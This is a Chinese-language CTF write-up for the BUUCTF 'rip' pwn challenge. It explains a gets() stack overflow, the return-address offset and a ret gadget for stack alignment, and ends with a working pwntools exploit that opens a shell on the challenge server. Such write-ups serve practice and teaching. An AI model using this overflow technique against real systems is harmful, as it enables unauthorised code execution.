BUUCTF - rip

刚看完 csapp 第三章程序的机器级表示,过来做道 pwn 题小试牛刀,实践一下(

ida 打开看一看,非常简单嗷

1
2
3
4
5
6
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");

同时还有一个 backdo♂or ,用 system 执行 shell ,就在 main 的下面

一看就知道是栈溢出了,通过构造过长的输入 s ,把要 ret 的地址给覆盖掉,从而达成跳转到后门函数的目的

gdb 进去看一下,可以发现 $rsp 在 df30 ,而 ret 的返回地址就在 df48

(这里我一开始以为要覆盖 gets 函数的 ret 地址,后来发现 gets 的返回地址肯定比外面的 $rsp 高,查了题解才知道要覆写 main 的返回地址)

输入 123 进去就可以看到 gets 是从 df31 开始填的(ida 看汇编也可以看到,s 的地址是 rbp - 0xf)

那么只需构造 23 个无意义字符,和后门地址就可以了

写完 exp 之后你会惊喜地发现两件事情:

第一件事是直接 recv 会什么都收不到,必须先 send 才能 recv ,不知道为什么

可以直接 send 然后进交互

第二件事是 exp 打上去之后等待你的不是 shell 而是 timeout: the monitored command dumped core

这个是因为 buuctf 最新使用的 ubuntu 18.04 要求 system 函数调用时栈指针必须 16 对齐(还有谁要对齐不知道)

因此要先原地 tp ,ret 到 ret 这个指令本身的地址,再 ret 一遍到后门,这时再调用 system 时栈就对齐了

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote('node3.buuoj.cn', 28301)

addr = b'a' * 23 + p64(0x40112A) + p64(0x401186)

r.sendline(addr)

r.interactive()